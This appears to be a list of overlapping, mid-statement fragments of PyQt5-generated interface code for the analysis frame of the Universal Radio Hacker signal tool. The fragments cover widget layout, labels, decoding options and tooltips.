"QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.treeViewProtocols.sizePolicy().hasHeightForWidth()) self.treeViewProtocols.setSizePolicy(sizePolicy) self.treeViewProtocols.setAcceptDrops(True) self.treeViewProtocols.setDragEnabled(True) self.treeViewProtocols.setDragDropOverwriteMode(False) self.treeViewProtocols.setDragDropMode(QtWidgets.QAbstractItemView.DragDrop) self.treeViewProtocols.setDefaultDropAction(QtCore.Qt.IgnoreAction) self.treeViewProtocols.setObjectName(\"treeViewProtocols\") self.treeViewProtocols.header().setVisible(False)",
"sizePolicy.setHeightForWidth(self.stackedWidgetLogicAnalysis.sizePolicy().hasHeightForWidth()) self.stackedWidgetLogicAnalysis.setSizePolicy(sizePolicy) self.stackedWidgetLogicAnalysis.setObjectName(\"stackedWidgetLogicAnalysis\") self.pageButtonAnalyzer = QtWidgets.QWidget() self.pageButtonAnalyzer.setObjectName(\"pageButtonAnalyzer\") self.verticalLayout_5 = QtWidgets.QVBoxLayout(self.pageButtonAnalyzer) self.verticalLayout_5.setContentsMargins(0, 0, 0,",
"QtWidgets.QFrame(self.frame_3) self.line_2.setFrameShape(QtWidgets.QFrame.VLine) self.line_2.setFrameShadow(QtWidgets.QFrame.Sunken) self.line_2.setObjectName(\"line_2\") self.gridLayout_2.addWidget(self.line_2, 0, 12, 1, 1) self.label_3 = QtWidgets.QLabel(self.frame_3) self.label_3.setAlignment(QtCore.Qt.AlignRight|QtCore.Qt.AlignTrailing|QtCore.Qt.AlignVCenter)",
"self.btnSearchSelectFilter.setText(_translate(\"FAnalysis\", \"Search\")) self.lFilterShown.setText(_translate(\"FAnalysis\", \"shown: 42/108\")) self.btnPrevSearch.setText(_translate(\"FAnalysis\", \"<\")) self.lSearchCurrent.setText(_translate(\"FAnalysis\", \"-\")) self.lSlash.setText(_translate(\"FAnalysis\", \"/\")) self.lSearchTotal.setText(_translate(\"FAnalysis\", \"-\"))",
"QtWidgets.QSplitter(FAnalysis) self.splitter.setOrientation(QtCore.Qt.Vertical) self.splitter.setObjectName(\"splitter\") self.frame_2 = QtWidgets.QFrame(self.splitter) self.frame_2.setFrameShape(QtWidgets.QFrame.StyledPanel) self.frame_2.setFrameShadow(QtWidgets.QFrame.Raised) self.frame_2.setObjectName(\"frame_2\") self.verticalLayout_4 = QtWidgets.QVBoxLayout(self.frame_2) self.verticalLayout_4.setObjectName(\"verticalLayout_4\")",
"QtWidgets.QToolButton(self.frame_3) self.btnNextSearch.setEnabled(False) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.btnNextSearch.sizePolicy().hasHeightForWidth()) self.btnNextSearch.setSizePolicy(sizePolicy) self.btnNextSearch.setMaximumSize(QtCore.QSize(20, 16777215)) icon",
"self.tblViewProtocol.setSortingEnabled(False) self.tblViewProtocol.setWordWrap(False) self.tblViewProtocol.setCornerButtonEnabled(False) self.tblViewProtocol.setObjectName(\"tblViewProtocol\") self.tblViewProtocol.horizontalHeader().setDefaultSectionSize(40) self.verticalLayout_3.addWidget(self.tblViewProtocol) self.horizontalLayout_3 = QtWidgets.QHBoxLayout() self.horizontalLayout_3.setObjectName(\"horizontalLayout_3\") self.lBits = QtWidgets.QLabel(self.frame_3)",
"self.line_2.setFrameShadow(QtWidgets.QFrame.Sunken) self.line_2.setObjectName(\"line_2\") self.gridLayout_2.addWidget(self.line_2, 0, 12, 1, 1) self.label_3 = QtWidgets.QLabel(self.frame_3) self.label_3.setAlignment(QtCore.Qt.AlignRight|QtCore.Qt.AlignTrailing|QtCore.Qt.AlignVCenter) self.label_3.setObjectName(\"label_3\") self.gridLayout_2.addWidget(self.label_3,",
"QtWidgets.QLabel(self.frame_3) self.label_3.setAlignment(QtCore.Qt.AlignRight|QtCore.Qt.AlignTrailing|QtCore.Qt.AlignVCenter) self.label_3.setObjectName(\"label_3\") self.gridLayout_2.addWidget(self.label_3, 0, 13, 1, 1) self.lTime = QtWidgets.QLabel(self.frame_3) sizePolicy =",
"\"Manchester\")) self.cbDecoding.setItemText(2, _translate(\"FAnalysis\", \"Manchester II\")) self.cbDecoding.setItemText(3, _translate(\"FAnalysis\", \"Differential Manchester\")) self.cbDecoding.setItemText(4, _translate(\"FAnalysis\", \"...\")) self.lEncodingErrors.setText(_translate(\"FAnalysis\",",
"sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.tblLabelValues.sizePolicy().hasHeightForWidth()) self.tblLabelValues.setSizePolicy(sizePolicy) self.tblLabelValues.setAlternatingRowColors(True) self.tblLabelValues.setShowGrid(False) self.tblLabelValues.setObjectName(\"tblLabelValues\") self.tblLabelValues.horizontalHeader().setVisible(True) self.tblLabelValues.horizontalHeader().setCascadingSectionResizes(False) self.tblLabelValues.horizontalHeader().setDefaultSectionSize(150) self.tblLabelValues.horizontalHeader().setStretchLastSection(True) self.tblLabelValues.verticalHeader().setVisible(False) self.gridLayout.addWidget(self.tblLabelValues, 1,",
"907) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(FAnalysis.sizePolicy().hasHeightForWidth()) FAnalysis.setSizePolicy(sizePolicy) FAnalysis.setFocusPolicy(QtCore.Qt.ClickFocus) FAnalysis.setAcceptDrops(True) FAnalysis.setFrameShape(QtWidgets.QFrame.StyledPanel) FAnalysis.setFrameShadow(QtWidgets.QFrame.Raised)",
"self.btnSearchSelectFilter = QtWidgets.QToolButton(self.frame_3) self.btnSearchSelectFilter.setPopupMode(QtWidgets.QToolButton.MenuButtonPopup) self.btnSearchSelectFilter.setToolButtonStyle(QtCore.Qt.ToolButtonTextOnly) self.btnSearchSelectFilter.setObjectName(\"btnSearchSelectFilter\") self.gridLayout_2.addWidget(self.btnSearchSelectFilter, 0, 1, 1, 1) self.lFilterShown =",
"self.line_2.setObjectName(\"line_2\") self.gridLayout_2.addWidget(self.line_2, 0, 12, 1, 1) self.label_3 = QtWidgets.QLabel(self.frame_3) self.label_3.setAlignment(QtCore.Qt.AlignRight|QtCore.Qt.AlignTrailing|QtCore.Qt.AlignVCenter) self.label_3.setObjectName(\"label_3\") self.gridLayout_2.addWidget(self.label_3, 0,",
"self.lDecimal = QtWidgets.QLabel(self.frame_3) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lDecimal.sizePolicy().hasHeightForWidth()) self.lDecimal.setSizePolicy(sizePolicy) self.lDecimal.setMaximumSize(QtCore.QSize(16777215, 15))",
"\"SUCCESS\")) self.cbShowDiffs.setText(_translate(\"FAnalysis\", \"Mark diffs in protocol\")) self.chkBoxShowOnlyDiffs.setText(_translate(\"FAnalysis\", \"Show only diffs in protocol\")) self.chkBoxOnlyShowLabelsInProtocol.setText(_translate(\"FAnalysis\",",
"in time when a protocol message begins. Additionally the relative time (+ ...)",
"QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.label.sizePolicy().hasHeightForWidth()) self.label.setSizePolicy(sizePolicy) self.label.setObjectName(\"label\") self.gridLayout.addWidget(self.label, 0, 0, 1, 1) self.tblLabelValues =",
"the previous message is shown.</p></body></html>\")) self.lTime.setText(_translate(\"FAnalysis\", \"0 (+0)\")) self.lBits.setText(_translate(\"FAnalysis\", \"Bit:\")) self.lHex.setText(_translate(\"FAnalysis\", \"Hex:\")) self.lDecimal.setText(_translate(\"FAnalysis\",",
"relative time (+ ...) from the previous message is shown.</p></body></html>\")) self.label_3.setText(_translate(\"FAnalysis\", \"Timestamp:\")) self.lTime.setToolTip(_translate(\"FAnalysis\",",
"= QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.btnPrevSearch.sizePolicy().hasHeightForWidth()) self.btnPrevSearch.setSizePolicy(sizePolicy) self.btnPrevSearch.setMaximumSize(QtCore.QSize(20, 16777215)) icon = QtGui.QIcon.fromTheme(\"go-previous\") self.btnPrevSearch.setIcon(icon)",
"self.btnAddMessagetype.setToolTip(_translate(\"FAnalysis\", \"Add a new message type\")) self.btnAddMessagetype.setText(_translate(\"FAnalysis\", \"...\")) self.btnRemoveMessagetype.setToolTip(_translate(\"FAnalysis\", \"Delete current message type\"))",
"QtWidgets.QLabel(self.scrollAreaWidgetContents) self.label_4.setObjectName(\"label_4\") self.verticalLayout.addWidget(self.label_4) self.listViewParticipants = QtWidgets.QListView(self.scrollAreaWidgetContents) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Expanding) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.listViewParticipants.sizePolicy().hasHeightForWidth())",
"only diffs in protocol\")) self.chkBoxOnlyShowLabelsInProtocol.setText(_translate(\"FAnalysis\", \"Show only labels in protocol\")) self.btnAnalyze.setText(_translate(\"FAnalysis\", \"Analyze\")) self.lineEditSearch.setPlaceholderText(_translate(\"FAnalysis\",",
"QtWidgets.QLabel(self.frame_3) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lBits.sizePolicy().hasHeightForWidth()) self.lBits.setSizePolicy(sizePolicy) self.lBits.setMaximumSize(QtCore.QSize(16777215, 15)) self.lBits.setObjectName(\"lBits\") self.horizontalLayout_3.addWidget(self.lBits)",
"sizePolicy.setHeightForWidth(self.lHex.sizePolicy().hasHeightForWidth()) self.lHex.setSizePolicy(sizePolicy) self.lHex.setMaximumSize(QtCore.QSize(16777215, 15)) self.lHex.setObjectName(\"lHex\") self.horizontalLayout_3.addWidget(self.lHex) self.lHexSelection = QtWidgets.QLineEdit(self.frame_3) self.lHexSelection.setMaximumSize(QtCore.QSize(16777215, 20)) self.lHexSelection.setAcceptDrops(False) self.lHexSelection.setReadOnly(True)",
"retranslateUi(self, FAnalysis): _translate = QtCore.QCoreApplication.translate FAnalysis.setWindowTitle(_translate(\"FAnalysis\", \"Frame\")) self.label_5.setText(_translate(\"FAnalysis\", \"Protocols:\")) self.btnSaveProto.setText(_translate(\"FAnalysis\", \"Save current protocol..\"))",
"1, 1) self.label_3 = QtWidgets.QLabel(self.frame_3) self.label_3.setAlignment(QtCore.Qt.AlignRight|QtCore.Qt.AlignTrailing|QtCore.Qt.AlignVCenter) self.label_3.setObjectName(\"label_3\") self.gridLayout_2.addWidget(self.label_3, 0, 13, 1, 1) self.lTime",
"self.verticalLayout_4.addWidget(self.splitter_2) self.frame = QtWidgets.QFrame(self.splitter) self.frame.setFrameShape(QtWidgets.QFrame.StyledPanel) self.frame.setFrameShadow(QtWidgets.QFrame.Raised) self.frame.setObjectName(\"frame\") self.gridLayout = QtWidgets.QGridLayout(self.frame) self.gridLayout.setObjectName(\"gridLayout\") self.label =",
"QtWidgets.QSizePolicy.Expanding) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.tblViewProtocol.sizePolicy().hasHeightForWidth()) self.tblViewProtocol.setSizePolicy(sizePolicy) self.tblViewProtocol.setAcceptDrops(True) self.tblViewProtocol.setAutoFillBackground(True) self.tblViewProtocol.setFrameShape(QtWidgets.QFrame.NoFrame) self.tblViewProtocol.setFrameShadow(QtWidgets.QFrame.Sunken) self.tblViewProtocol.setLineWidth(1) self.tblViewProtocol.setAutoScroll(True) self.tblViewProtocol.setDragDropMode(QtWidgets.QAbstractItemView.DropOnly) self.tblViewProtocol.setAlternatingRowColors(True)",
"...) from the previous message is shown.</p></body></html>\")) self.label_3.setText(_translate(\"FAnalysis\", \"Timestamp:\")) self.lTime.setToolTip(_translate(\"FAnalysis\", \"<html><head/><body><p>The <span style=\\\"",
"from the previous message is shown.</p></body></html>\")) self.lTime.setText(_translate(\"FAnalysis\", \"0 (+0)\")) self.lBits.setText(_translate(\"FAnalysis\", \"Bit:\")) self.lHex.setText(_translate(\"FAnalysis\", \"Hex:\"))",
"custom field types use Rightclick -> Edit.\")) self.lblLabelValues.setText(_translate(\"FAnalysis\", \"Label values for message\")) self.btnMessagetypeSettings.setToolTip(_translate(\"FAnalysis\",",
"self.gridLayout_2.setObjectName(\"gridLayout_2\") self.lineEditSearch = QtWidgets.QLineEdit(self.frame_3) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lineEditSearch.sizePolicy().hasHeightForWidth()) self.lineEditSearch.setSizePolicy(sizePolicy) self.lineEditSearch.setAcceptDrops(False)",
"sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lDecimal.sizePolicy().hasHeightForWidth()) self.lDecimal.setSizePolicy(sizePolicy) self.lDecimal.setMaximumSize(QtCore.QSize(16777215, 15)) self.lDecimal.setObjectName(\"lDecimal\") self.horizontalLayout_3.addWidget(self.lDecimal) self.lDecimalSelection = QtWidgets.QLineEdit(self.frame_3) self.lDecimalSelection.setMaximumSize(QtCore.QSize(16777215, 20))",
"self.stackedWidgetLogicAnalysis = QtWidgets.QStackedWidget(self.scrollAreaWidgetContents) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.stackedWidgetLogicAnalysis.sizePolicy().hasHeightForWidth()) self.stackedWidgetLogicAnalysis.setSizePolicy(sizePolicy) self.stackedWidgetLogicAnalysis.setObjectName(\"stackedWidgetLogicAnalysis\") self.pageButtonAnalyzer",
"self.lFilterShown.setObjectName(\"lFilterShown\") self.gridLayout_2.addWidget(self.lFilterShown, 0, 2, 1, 1) self.btnPrevSearch = QtWidgets.QToolButton(self.frame_3) self.btnPrevSearch.setEnabled(False) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred,",
"= QtWidgets.QComboBox(self.scrollAreaWidgetContents) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.cbDecoding.sizePolicy().hasHeightForWidth()) self.cbDecoding.setSizePolicy(sizePolicy) self.cbDecoding.setSizeAdjustPolicy(QtWidgets.QComboBox.AdjustToContents) self.cbDecoding.setObjectName(\"cbDecoding\") self.cbDecoding.addItem(\"\")",
"QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.stackedWidgetLogicAnalysis.sizePolicy().hasHeightForWidth()) self.stackedWidgetLogicAnalysis.setSizePolicy(sizePolicy) self.stackedWidgetLogicAnalysis.setObjectName(\"stackedWidgetLogicAnalysis\") self.pageButtonAnalyzer = QtWidgets.QWidget() self.pageButtonAnalyzer.setObjectName(\"pageButtonAnalyzer\") self.verticalLayout_5 = QtWidgets.QVBoxLayout(self.pageButtonAnalyzer)",
"self.verticalLayout = QtWidgets.QVBoxLayout(self.scrollAreaWidgetContents) self.verticalLayout.setContentsMargins(0, 0, 0, 0) self.verticalLayout.setObjectName(\"verticalLayout\") self.horizontalLayout_2 = QtWidgets.QHBoxLayout() self.horizontalLayout_2.setObjectName(\"horizontalLayout_2\") self.label_5",
"self.horizontalLayout_3.addWidget(self.lBitsSelection) self.lHex = QtWidgets.QLabel(self.frame_3) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lHex.sizePolicy().hasHeightForWidth()) self.lHex.setSizePolicy(sizePolicy) self.lHex.setMaximumSize(QtCore.QSize(16777215,",
"_translate(\"FAnalysis\", \"ASCII\")) self.cbDecoding.setItemText(0, _translate(\"FAnalysis\", \"NRZ\")) self.cbDecoding.setItemText(1, _translate(\"FAnalysis\", \"Manchester\")) self.cbDecoding.setItemText(2, _translate(\"FAnalysis\", \"Manchester II\")) self.cbDecoding.setItemText(3,",
"utf-8 -*- # # # WARNING! All changes made in this file will",
"= QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.cbDecoding.sizePolicy().hasHeightForWidth()) self.cbDecoding.setSizePolicy(sizePolicy) self.cbDecoding.setSizeAdjustPolicy(QtWidgets.QComboBox.AdjustToContents) self.cbDecoding.setObjectName(\"cbDecoding\") self.cbDecoding.addItem(\"\") self.cbDecoding.addItem(\"\") self.cbDecoding.addItem(\"\") self.cbDecoding.addItem(\"\")",
"QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lblLabelValues.sizePolicy().hasHeightForWidth()) self.lblLabelValues.setSizePolicy(sizePolicy) font = QtGui.QFont() font.setBold(True) font.setWeight(75) self.lblLabelValues.setFont(font) self.lblLabelValues.setAlignment(QtCore.Qt.AlignCenter)",
"self.lDecodingErrorsValue.setText(_translate(\"FAnalysis\", \"0 (0.00%) \")) self.labelDecodingState.setText(_translate(\"FAnalysis\", \"SUCCESS\")) self.cbShowDiffs.setText(_translate(\"FAnalysis\", \"Mark diffs in protocol\")) self.chkBoxShowOnlyDiffs.setText(_translate(\"FAnalysis\", \"Show",
"for message type\")) self.btnMessagetypeSettings.setText(_translate(\"FAnalysis\", \"...\")) self.btnAddMessagetype.setToolTip(_translate(\"FAnalysis\", \"Add a new message type\")) self.btnAddMessagetype.setText(_translate(\"FAnalysis\", \"...\"))",
"self.gridLayout_2.addWidget(self.lSlash, 0, 5, 1, 1) self.lSearchTotal = QtWidgets.QLabel(self.frame_3) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0)",
"is the point in time when a protocol message begins. Additionally the relative",
"self.lblRSSI.setToolTip(_translate(\"FAnalysis\", \"<html><head/><body><p>The <span style=\\\" font-weight:600;\\\">Received Signal Strength Indicator</span> indicates the average signal power",
"self.chkBoxOnlyShowLabelsInProtocol = QtWidgets.QCheckBox(self.scrollAreaWidgetContents) self.chkBoxOnlyShowLabelsInProtocol.setObjectName(\"chkBoxOnlyShowLabelsInProtocol\") self.verticalLayout.addWidget(self.chkBoxOnlyShowLabelsInProtocol) self.btnAnalyze = QtWidgets.QToolButton(self.scrollAreaWidgetContents) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0)",
"20)) self.lBitsSelection.setAcceptDrops(False) self.lBitsSelection.setReadOnly(True) self.lBitsSelection.setObjectName(\"lBitsSelection\") self.horizontalLayout_3.addWidget(self.lBitsSelection) self.lHex = QtWidgets.QLabel(self.frame_3) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0)",
"self.lDecimalSelection.setAcceptDrops(False) self.lDecimalSelection.setReadOnly(True) self.lDecimalSelection.setObjectName(\"lDecimalSelection\") self.horizontalLayout_3.addWidget(self.lDecimalSelection) spacerItem1 = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum) self.horizontalLayout_3.addItem(spacerItem1) self.lNumSelectedColumns =",
"self.frame_2.setFrameShape(QtWidgets.QFrame.StyledPanel) self.frame_2.setFrameShadow(QtWidgets.QFrame.Raised) self.frame_2.setObjectName(\"frame_2\") self.verticalLayout_4 = QtWidgets.QVBoxLayout(self.frame_2) self.verticalLayout_4.setObjectName(\"verticalLayout_4\") self.splitter_2 = QtWidgets.QSplitter(self.frame_2) self.splitter_2.setOrientation(QtCore.Qt.Horizontal) self.splitter_2.setObjectName(\"splitter_2\") self.frame_4",
"self.lblLabelValues.setFont(font) self.lblLabelValues.setAlignment(QtCore.Qt.AlignCenter) self.lblLabelValues.setObjectName(\"lblLabelValues\") self.gridLayout.addWidget(self.lblLabelValues, 0, 1, 1, 1) self.horizontalLayout = QtWidgets.QHBoxLayout() self.horizontalLayout.setObjectName(\"horizontalLayout\") self.cbMessagetypes",
"self.label_4.setObjectName(\"label_4\") self.verticalLayout.addWidget(self.label_4) self.listViewParticipants = QtWidgets.QListView(self.scrollAreaWidgetContents) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Expanding) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.listViewParticipants.sizePolicy().hasHeightForWidth()) self.listViewParticipants.setSizePolicy(sizePolicy)",
"sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lEncodingErrors.sizePolicy().hasHeightForWidth()) self.lEncodingErrors.setSizePolicy(sizePolicy) self.lEncodingErrors.setObjectName(\"lEncodingErrors\") self.verticalLayout.addWidget(self.lEncodingErrors) self.lDecodingErrorsValue = QtWidgets.QLabel(self.scrollAreaWidgetContents) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0)",
"self.progressBarLogicAnalyzer.setObjectName(\"progressBarLogicAnalyzer\") self.verticalLayout_6.addWidget(self.progressBarLogicAnalyzer) self.stackedWidgetLogicAnalysis.addWidget(self.pageProgressBar) self.verticalLayout.addWidget(self.stackedWidgetLogicAnalysis) self.scrollArea.setWidget(self.scrollAreaWidgetContents) self.verticalLayout_8.addWidget(self.scrollArea) self.frame_3 = QtWidgets.QFrame(self.splitter_2) self.frame_3.setFrameShape(QtWidgets.QFrame.StyledPanel) self.frame_3.setFrameShadow(QtWidgets.QFrame.Raised) self.frame_3.setObjectName(\"frame_3\") self.verticalLayout_3",
"= QtWidgets.QToolButton(self.frame) icon = QtGui.QIcon.fromTheme(\"preferences-other\") self.btnMessagetypeSettings.setIcon(icon) self.btnMessagetypeSettings.setObjectName(\"btnMessagetypeSettings\") self.horizontalLayout.addWidget(self.btnMessagetypeSettings) self.btnAddMessagetype = QtWidgets.QToolButton(self.frame) icon =",
"sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lDecimal.sizePolicy().hasHeightForWidth()) self.lDecimal.setSizePolicy(sizePolicy) self.lDecimal.setMaximumSize(QtCore.QSize(16777215, 15)) self.lDecimal.setObjectName(\"lDecimal\") self.horizontalLayout_3.addWidget(self.lDecimal) self.lDecimalSelection = QtWidgets.QLineEdit(self.frame_3) self.lDecimalSelection.setMaximumSize(QtCore.QSize(16777215, 20)) self.lDecimalSelection.setAcceptDrops(False)",
"2, 0, 1, 1) self.lblLabelValues = QtWidgets.QLabel(self.frame) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0)",
"= QtWidgets.QToolButton(self.frame_3) self.btnNextSearch.setEnabled(False) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.btnNextSearch.sizePolicy().hasHeightForWidth()) self.btnNextSearch.setSizePolicy(sizePolicy) self.btnNextSearch.setMaximumSize(QtCore.QSize(20, 16777215))",
"self.verticalLayout_3.setObjectName(\"verticalLayout_3\") self.gridLayout_2 = QtWidgets.QGridLayout() self.gridLayout_2.setObjectName(\"gridLayout_2\") self.lineEditSearch = QtWidgets.QLineEdit(self.frame_3) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0)",
"sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lblLabelValues.sizePolicy().hasHeightForWidth()) self.lblLabelValues.setSizePolicy(sizePolicy) font = QtGui.QFont() font.setBold(True) font.setWeight(75)",
"\"ASCII\")) self.cbDecoding.setItemText(0, _translate(\"FAnalysis\", \"NRZ\")) self.cbDecoding.setItemText(1, _translate(\"FAnalysis\", \"Manchester\")) self.cbDecoding.setItemText(2, _translate(\"FAnalysis\", \"Manchester II\")) self.cbDecoding.setItemText(3, _translate(\"FAnalysis\",",
"Start</span> is the point in time when a protocol message begins. Additionally the",
"self.frame_2.setObjectName(\"frame_2\") self.verticalLayout_4 = QtWidgets.QVBoxLayout(self.frame_2) self.verticalLayout_4.setObjectName(\"verticalLayout_4\") self.splitter_2 = QtWidgets.QSplitter(self.frame_2) self.splitter_2.setOrientation(QtCore.Qt.Horizontal) self.splitter_2.setObjectName(\"splitter_2\") self.frame_4 = QtWidgets.QFrame(self.splitter_2)",
"= QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lSearchCurrent.sizePolicy().hasHeightForWidth()) self.lSearchCurrent.setSizePolicy(sizePolicy) self.lSearchCurrent.setStyleSheet(\"QLabel\\n\" \"{\\n\" \" qproperty-alignment: AlignCenter;\\n\" \"}\")",
"Additionally the relative time (+ ...) from the previous message is shown.</p></body></html>\")) self.lTime.setText(_translate(\"FAnalysis\",",
"self.lTime = QtWidgets.QLabel(self.frame_3) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lTime.sizePolicy().hasHeightForWidth()) self.lTime.setSizePolicy(sizePolicy) self.lTime.setTextFormat(QtCore.Qt.PlainText) self.lTime.setAlignment(QtCore.Qt.AlignRight|QtCore.Qt.AlignTrailing|QtCore.Qt.AlignVCenter)",
"in protocol\")) self.chkBoxOnlyShowLabelsInProtocol.setText(_translate(\"FAnalysis\", \"Show only labels in protocol\")) self.btnAnalyze.setText(_translate(\"FAnalysis\", \"Analyze\")) self.lineEditSearch.setPlaceholderText(_translate(\"FAnalysis\", \"Search Pattern\"))",
"<span style=\\\" font-weight:600;\\\">Message</span><span style=\\\" font-weight:600;\\\">Start</span> is the point in time when a protocol",
"types use Rightclick -> Edit.\")) self.lblLabelValues.setText(_translate(\"FAnalysis\", \"Label values for message\")) self.btnMessagetypeSettings.setToolTip(_translate(\"FAnalysis\", \"Settings for",
"= QtWidgets.QLineEdit(self.frame_3) self.lBitsSelection.setMaximumSize(QtCore.QSize(16777215, 20)) self.lBitsSelection.setAcceptDrops(False) self.lBitsSelection.setReadOnly(True) self.lBitsSelection.setObjectName(\"lBitsSelection\") self.horizontalLayout_3.addWidget(self.lBitsSelection) self.lHex = QtWidgets.QLabel(self.frame_3) sizePolicy =",
"self.cbProtoView.setItemText(0, _translate(\"FAnalysis\", \"Bits\")) self.cbProtoView.setItemText(1, _translate(\"FAnalysis\", \"Hex\")) self.cbProtoView.setItemText(2, _translate(\"FAnalysis\", \"ASCII\")) self.cbDecoding.setItemText(0, _translate(\"FAnalysis\", \"NRZ\")) self.cbDecoding.setItemText(1,",
"\"Delete current message type\")) self.btnRemoveMessagetype.setText(_translate(\"FAnalysis\", \"...\")) from urh.ui.views.LabelValueTableView import LabelValueTableView from urh.ui.views.ProtocolLabelListView import",
"self.lblLabelValues.setSizePolicy(sizePolicy) font = QtGui.QFont() font.setBold(True) font.setWeight(75) self.lblLabelValues.setFont(font) self.lblLabelValues.setAlignment(QtCore.Qt.AlignCenter) self.lblLabelValues.setObjectName(\"lblLabelValues\") self.gridLayout.addWidget(self.lblLabelValues, 0, 1, 1,",
"self.btnSaveProto.setIcon(icon) self.btnSaveProto.setToolButtonStyle(QtCore.Qt.ToolButtonIconOnly) self.btnSaveProto.setObjectName(\"btnSaveProto\") self.horizontalLayout_2.addWidget(self.btnSaveProto) self.verticalLayout.addLayout(self.horizontalLayout_2) self.treeViewProtocols = ProtocolTreeView(self.scrollAreaWidgetContents) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0)",
